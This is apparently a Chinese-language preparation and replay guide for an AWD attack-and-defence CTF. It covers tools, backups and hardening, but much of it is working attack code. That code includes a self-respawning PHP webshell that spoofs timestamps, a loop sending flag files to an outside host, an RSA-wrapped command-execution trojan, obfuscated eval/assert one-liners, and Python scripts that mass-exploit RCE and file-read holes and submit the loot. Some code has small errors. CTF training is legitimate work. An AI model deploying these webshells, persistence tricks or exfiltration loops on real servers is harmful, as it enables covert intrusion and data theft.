一般的AWD不提供外网环境, AWD比赛中一般准备语言环境,工具、exploit及相关脚本框架。
1.脚本环境
一般在/var/www/html目录的下面,需要提前PHP和常用的Web开发语言环境在本地进行配置,且统一语言尽量多配置环境,比如PHP以PHP5,PHP7两个版本为好,java最好预装JDK8、JDK11,而Python以Python2.7,python3.6为佳。
2.代码审计工具和服务连接工具
IDE工具(IDEA,PHP Storm等)
后门快速分析工具(如D盾,河马)
二进制分析(如IDA Pro)
服务器SSH连接工具(XShell、Termius)
FTP工具(如XFTP)
比较简单的不死马:
<?php
ignore_user_abort(true);
#忽略用户终止,即使用户中断对浏览器的加载,脚本仍然会继续执行
set_time_limit(0);
#限制执行时间为0,就是不间断攻击
unlink(__FILE__);
#删除当时的进行的PHP脚本,尝试隐藏脚本,不会被PHP的执行时间限制所中断
$file = '.test.php';
$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
#定义了code变量,检查通过get请求的pass参数的md5值是否等于"098.....",如果成功的话,
会出现一个post的test的。
while (1){
#这是无限循环
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .test.php');
#使用system函数,他会执行touch系统命令,修改时间以欺骗文件的最后的修改时间,以防止检测。
usleep(5000);
#等待5毫秒,保持睡眠状态,降低脚本的消耗
}
?>
上传该PHP后进行访问,访问后在路径下生成test.php的不死马,
使用蚁剑或菜刀,
http://文件所在路径./test.php?pass=test
连接的密码:test
成功之后,ls等简单的命令根本找不到它,
只有查看新增文件才能发现它。
find ./-cmin -30 #查看30分钟内创建的文件。
那么如何处理呢?
<?php
ignore_user_abort(true);
set_time_limt(0);
unlink(_FILE_);
$file ='.test.php';
$code ='come on!';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12",test.php');
usleep(1000);
}
?>
#注意usleep的时间一定要比不死马小,$code修改为无害的
一定要访问才能连接
3.exploit及相关框架
AWD比赛中会涉及大量的权限维持对抗、自动化利用领域的内容,所以需要各类的脚本,一般分为三类:漏洞批量自动化及利用脚本、权限维持相关脚本、防御脚本。
漏洞批量自动化及利用脚本:主要根据ip循环探测,具体漏洞利用的细节,待执行的操作三个环节,三个环节尽量不要混杂在同一段代码中。
权限维持相关脚本: 在进行漏洞利用时,如果仅仅执行一次提交flag,那么防守方删除对于的脚本文件后需要重新利用一次才能再次提交flag操作,如果对方的漏洞已经修复了,那么久无法再次利用,因此需要权限维持保证可持续的利用**。**
**防御脚本:**在进行服务器防御时,需要根据攻击者的流量,服务器文件变动情况进行监控,有助于查找漏洞点,定位未挖掘漏洞并反馈与漏洞利用。
基本操作:
修改ssh连接密码
备份内容,根目录/var/www/html和数据库
在FinalShell的命令行界面中,输入以下命令来备份根目录:
sudo tar -czvf /path/to/backup/root_backup.tar.gz --one-file-system /
/path/to/backup/是备份文件存放的路径(需要确保该路径有足够的存储空间),
root_backup.tar.gz是备份文件的名称
--one-file-system选项确保只备份根文件系统而不包括其他挂载的文件系统。
由于备份根目录需要超级用户权限,因此需要在命令前加上sudo。
端口扫描:
- 使用范围扫描:
nmap -p [起始端口]-[结束端口] [目标IP]
- 示例:
nmap -p 1-100 192.168.1.1
(扫描目标IP的1到100端口)
使用finalshell备份源码:
rsync -avz /var/www/html user@backupserver:/path/to/backup/
-a表示归档模式(递归复制并保留符号链接、权限、时间戳等),-v表示详细输出模式,-z表示压缩文件数据在传输过程中。user@backupserver是备份服务器的用户名和地址。
数据库备份
- 启动FinalShell:确保FinalShell已经正确安装并启动。
- 连接到数据库服务器:使用FinalShell连接到运行数据库的服务器。
- 登录数据库 :通过命令行登录到MySQL数据库。例如,输入
mysql -uroot -p
并输入密码以登录到MySQL服务器。 - 执行备份命令 :使用
mysqldump
命令来备份数据库。例如,要备份名为python201
的数据库,可以输入mysqldump -uroot -p python201 > python201.sql
。系统会提示输入密码,输入后即可开始备份。 - 检查备份文件:备份完成后,可以在FinalShell的文件管理器中查看生成的SQL文件,以确保备份成功。
修改数据库密码
- 登录数据库:同样地,先通过命令行登录到MySQL数据库。
- 选择数据库(可选) :如果只需要修改特定数据库的密码,可以先使用
USE database_name;
命令选择该数据库。 - 修改密码 :使用
ALTER USER
命令来修改密码。例如,要修改root
用户的密码为new_password
,可以输入ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';
。 - 刷新权限 :虽然
ALTER USER
命令通常会自动刷新权限,但为了确保更改立即生效,可以执行FLUSH PRIVILEGES;
命令。
先进入数据库,修改数据库密码的时候,配置文件也要修改,
mysql -uroot -proot
查看用户信息密码:
select host,user,password from mysql.user
删除匿名用户(user为空的用户)
delete from mysql.user where user=";
刷新:
flush privileges;
扫描漏洞的工具:
wapiti,linux自带的,基本操作,
wapiti -u 网址
wapiti -u http://目标网站的URL -f html -o /path/to/report.html
-f参数指定报告格式(如html、json、xml等),-o参数指定报告保存路径。可以使用浏览器打开生成的报告文件,查看详细的漏洞信息和修复建议。
watch bird
watchbird配置文件的作用:
├── README.md # 项目简介与说明
├── pack.py # 打包脚本,用于将源码打包成单文件
├── waf.c # WAF的核心C语言代码,用于编译生成动态链接库
└── watchbird.php # 主要的PHP入口文件,包含配置与控制逻辑
watchbird的作用:
种马的脚本
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); // 后台运行
unlink(__FILE__); //删除本文件
while(1){
$file="flag.txt"; //设定要读取的文件
$flag=file_get_contents($file);
//在自己的计算机上打开服务器,输入ip让其访问。并创建一个php记录访问的值,jiflag
$url="http://192.168.50.1/jilu.php?flag=".$flag;
$html=file_get_contents($url);
sleep(10);}
?>
RSA公钥加密的木马
<?php
class Rsa
{
public $private_key = '';
public $public_key = '-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFSrrcjL328bU+DpvsOm1R++GGa/
RuHLkGZvAXOF+iWp6oJQ00ekeCWo82jNz+5eyubr7Sz1WcBp0/u4pQQpts43G334
lP9/2xXAXU4dvqs/XPnFLaryp93u+AE3fTQbvq81OpqVwlYNA+vuXUzYxfCakU2l
qnEzo5bRNM0IL5ixAgMBAAE=
-----END PUBLIC KEY-----';
public $encrypted = '';
public $decrypted = "";
public $data = '';
public function init($file)
{
$this-> data = file_get_contents($file);
return $this->data;
}
public function encrypt($data)
{
openssl_public_encrypt($data,$encrypted,$this->public_key);//公钥加密
$encrypted = base64_encode($encrypted);
return $encrypted;
}
public function decrypt_cmd($c)
{
print $c;
openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私钥加密的内容通过公钥可解密出来
echo "\n";
echo "public key decrypt:\n";
print $decrypted;
echo `$decrypted`;
#passthru($decrypted);
}
public function publicDecrypt($data, $publicKey)
{
openssl_public_decrypt($data, $decrypted, $publicKey);
return $decrypted;
}
}
function publicDecrypt($data, $publicKey)
{
openssl_public_decrypt($data, $decrypted, $publicKey);
return $decrypted;
}
@$i = $_GET['i'];
$rsa =new Rsa();
#1是直接读flag文件
if($i==1)
{
$flag_path="flag";
$data1=$rsa->init($flag_path);
#print $data1;
$data2=$rsa->encrypt($data1);
print $data2;
}
#2是执行命令
if($i==2)
{
@$c = $_GET['c'];
$cmd = base64_decode($cmd);
$a=`$cmd`;
$a2=$rsa->encrypt($a);
echo $a2;
}
?>
简单的PHP木马如何解决
如果遇到经典的一句话木马,可以采用混淆马的方式来解决它。
<?php @eval($_POST("cmd");?>
解决办法:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); //
?>
<?php @assert($_POST['cmd']);?>
解决办法:
<?php
@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';
@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';
@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>
复现AWD
利用河马扫描一遍
明显的漏洞有这些
已经修复了一个一句话木马
这是一个比较明显的RCE
先扫描一下有哪些
然后利用wapiti来扫描一下,有哪些漏洞?
来翻译一下啊
1. CSP(内容安全策略)未设置:
漏洞描述:内容安全策略(CSP)是一种额外的安全层,用于检测和缓解某些类型的代码注入攻击,包括跨站脚本(XSS)和数据注入攻击。
修复建议:在网站的HTTP响应头中设置CSP策略,明确指定哪些资源可以被加载和执行。
2.HTTP安全头未设置:
包括X-Frame-Options、X-XSS-Protection、X-Content-Type-Options和Strict-Transport-Security等头信息未配置。
修复建议:为这些HTTP头设置适当的值,以增强网站的安全性。例如,设置X-Frame-Options为DENY或SAMEORIGIN,以防止点击劫持攻击。
3.Cookie标志未设置:
PHPSESSID的HttpOnly和Secure标志未启用。
修复建议:在服务器的配置中启用这些标志,以防止通过JavaScript访问Cookie(HttpOnly),并确保Cookie在HTTPS连接上传输(Secure)。
4. 命令执行漏洞:
在footer.php中通过shell参数注入执行命令。
修复建议:对输入进行严格的验证和清理,避免将用户输入直接传递给系统命令。
5.本地文件泄露漏洞:
在about.php中通过file参数注入泄露/etc/passwd文件。
修复建议:同样需要对输入进行严格的验证和清理,防止用户访问敏感文件。
6.SQL注入漏洞:
报告未详细说明,但提到正在检查SQL模块。
修复建议:使用预处理语句和参数化查询来防止SQL注入攻击。
7.跨站脚本(XSS)漏洞:
在login.php中通过username和password参数注入XSS。
修复建议:对用户输入进行适当的编码和转义,以防止XSS攻击。
8.无法下载Wapp数据库:
这可能是一个临时的网络问题或Wapp数据库服务的问题。
修复建议:检查网络连接,并尝试再次下载数据库。如果问题持续存在,请考虑联系Wapiti的开发者或维护人员。
9.服务器端请求伪造(SSRF):
报告提到正在检查SSRF模块,但未提供具体结果。
修复建议:确保应用程序不会向不受信任的用户输入发出的URL发起请求。
10.重定向和盲注SQL:
报告提到正在检查这些模块,但未提供具体漏洞或结果。
修复建议:对于重定向,确保应用程序不会重定向到不受信任的URL。对于盲注SQL,同样需要使用预处理语句和参数化查询来防止攻击。
这样就清晰明了了。
那就开打吧!
先来弄一个xss的吧!
常见的反射型:
<script>alert('hack')</script>
这个时候我们插入的语句已经被页面给执行了。
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端
这个是大佬的攻击脚本。
针对任意文件读取
import requests
import time
import schedule
import os
payload ="?c=system('cat /flag');"
page=".a.php"
urls = [
'http://172.16.17.202:10250/',
'http://172.16.17.202:10298/',
'http://172.16.17.202:10869/',
'http://172.16.17.202:12186/',
'http://172.16.17.202:12232/',
'http://172.16.17.202:12750/',
'http://172.16.17.202:14219/',
'http://172.16.17.202:15054/',
'http://172.16.17.202:16767/',
'http://172.16.17.202:17365/',
'http://172.16.17.202:18922/',
]
def get_flag():
for url in urls:
n_url = url + page + payload
# print(n_url)
response = requests.get(url=n_url)
if response.status_code == 200:
# 获取源代码中的所有文本内容,并按行拆分
lines = response.text.split('\n')
# 获取第一行行内容
choice_line = lines[0]
with open('hm_flag1.txt', 'a', encoding='utf-8') as file:
file.write(choice_line+'\n')
def support_flag():
with open('hm_flag1.txt', 'r', encoding='utf-8') as file:
content = file.read()
# print(content)
for line in content.split('\n'):
# print(line)
url = 'http://172.16.17.202:9090/'
data = {
"flag": line,
"token": "4300f7f61934925694f6138f3045e61e"
}
response = requests.post(url, data=data)
# print(response.text)
time.sleep(1)
os.remove('hm_flag1.txt')
def job():
#添加全局变量,跟踪是否是第一次执行任务
global first_run
get_flag()
support_flag()
print(time.strftime("%Y-%m-%d %H:%M:%S"))
if first_run:
#每五分钟执行一次
schedule.every(5).minutes.do(job)
first_run = False
if __name__ == '__main__':
first_run = True
job()
while True:
schedule.run_pending()
time.sleep(1)
这个是命令执行漏洞的,
import requests
import time
import schedule
import os
payload ="?p=cat%20/flag"
page="admin/header.php"
urls = [
'http://172.16.17.202:10250/',
'http://172.16.17.202:10298/',
'http://172.16.17.202:10869/',
'http://172.16.17.202:12186/',
'http://172.16.17.202:12232/',
'http://172.16.17.202:12750/',
'http://172.16.17.202:14219/',
'http://172.16.17.202:15054/',
'http://172.16.17.202:16767/',
'http://172.16.17.202:17365/',
'http://172.16.17.202:18922/',
]
def get_flag():
for url in urls:
n_url = url + page + payload
# print(n_url)
response = requests.get(url=n_url)
if response.status_code == 200:
lines = response.text.split('\n')
# 获取第1行行内容
choice_line = lines[0]
# 删除
comments = [
"cat /flag<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'",
"'</font> <i>(length=32)</i>"
]
cleaned_line = choice_line
for comment in comments:
cleaned_line = cleaned_line.replace(comment, "")
for comment in comments:
cleaned_line = cleaned_line.replace(comment, "")
with open('rce_flag3.txt', 'a', encoding='utf-8') as file:
file.write(cleaned_line+'\n')
def support_flag():
with open('rce_flag3.txt', 'r', encoding='utf-8') as file:
content = file.read()
# print(content)
for line in content.split('\n'):
# print(line)
url = 'http://172.16.17.202:9090/'
data = {
"flag": line,
"token": "4300f7f61934925694f6138f3045e61e"
}
response = requests.post(url, data=data)
# print(response.text)
time.sleep(1)
os.remove('rce_flag3.txt')
def job():
global first_run
get_flag()
support_flag()
print(time.strftime("%Y-%m-%d %H:%M:%S"))
if first_run:
#每五分钟执行一次
schedule.every(5).minutes.do(job)
first_run = False
if __name__ == '__main__':
first_run = True
job()
while True:
schedule.run_pending()
time.sleep(1)